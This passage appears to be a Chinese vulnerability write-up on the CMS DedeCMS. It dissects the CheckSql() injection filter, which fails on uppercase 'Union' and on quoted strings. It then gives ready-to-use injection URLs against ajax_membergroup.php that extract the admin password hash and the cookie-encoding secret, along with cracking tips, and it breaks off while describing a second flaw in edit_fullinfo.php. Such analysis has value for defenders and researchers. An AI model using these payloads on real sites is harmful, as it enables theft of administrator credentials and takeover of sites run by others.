elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0) ...(略) //老版本的 MYSQL 不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来 查询数据库敏感信息 elseif (preg_match('~\([^)]*?select~s', $clean) != 0) {...(略)} if (!empty($fail)) {//存在限制的 Sql 关键字,写日志文件$log_file,输出“Safe Alert: Request Error step 2!” fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n"); exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>"); } else {//⑦不存在限制的 Sql 关键字,返回$db_string 字符串 return $db_string; } 语句①使用正则表达式过滤 Sql 关键字,但是因为没有参数“i”,导致可以使用大写绕 过,比如“Union”等,While 循环实现将字符串(Sql 语句)中转义单引号之间的字符转为 “$s$”,不予检查,此举意图是信任转义单引号之间的字符,即允许提交包含 Sql 关键字的 文字,比如发表新文章的内容,但是也因此产生了安全漏洞。 漏洞利用。构造 membergroup 变量值为“@`'` Union select pwd from `%23@ admin` where 1 or id=@`'`”,注意:1)“Union”不能全为小写“union”,2)前后使用“@`'`”。 当变量提交后,Sql 语句成为“SELECT groupname FROM #@ member_group WHERE mid = 8 AND id=@`\'` Union select pwd from `%23@ admin` where 1 or id=@`\'`”,mid 为当 前用户 id,首先大写 Union 绕过防注入语句①,然后防注入会将“\'”之间的字符串认为可信任的,对于其中的字符串不再做防注入过滤,尽管其中含有“union、select”等关键 字!在 CheckSql()函数中添加输出语句如下,可以直观地看到转换前后的 Sql 语句以及注 入结果如图 1。 …(略) echo "原字符串:".$db_string."<br>"; //完整的 SQL 检查 while (TRUE) { …(略) } $clean .= substr($db_string, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); echo "转换以后:".$clean."<br>"; …(略) ![]() 这里注出的是 substr(md5($this->userPwd), 5, 20)值,我们可以去掉前三位和最后 一位,成为 16 位 MD5 码,如“7a57a5a743894a0e”,再进行爆破。常用的注入链接如下: 注入管理员密码: http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select pwd from `%23@__admin` where 1 or id=@`'` // 如果存在多个管理员时,可以将 where 条件改为“ id=1 or id=@`'` ”或 “userid=0x61646D696E or id=@`'`” 注入$cfg_cookie_encode http://127.1/member/ajax_membergroup.php?action=post&membergroup=@`'` Union select value from `%23@ sysconfig` where aid=3 or aid=@`'` // 在获得 $cfg_cookie_encode 后,我 们可 以直接利用 漏洞二 。另外在 “/data/'.md5($cfg_cookie_encode).'_safe.txt'”文件中记录着注入痕迹。 漏洞二:/member/edit_fullinfo.php 页面,即更改详细资料页面(系统设置>>个人资料), 如图 2,要求登陆用户。 ![]()
该页面中$inadd_f 变量没有过滤导致注入,代码如下:
if($dopost=='save'){ //这里完成详细内容填写 ...(略) if(!empty($dede_fields)) { if($dede_fieldshash != md5($dede_fields.$cfg_cookie_encode)) { howMsg('数据校验不对,程序返回', '-1'); |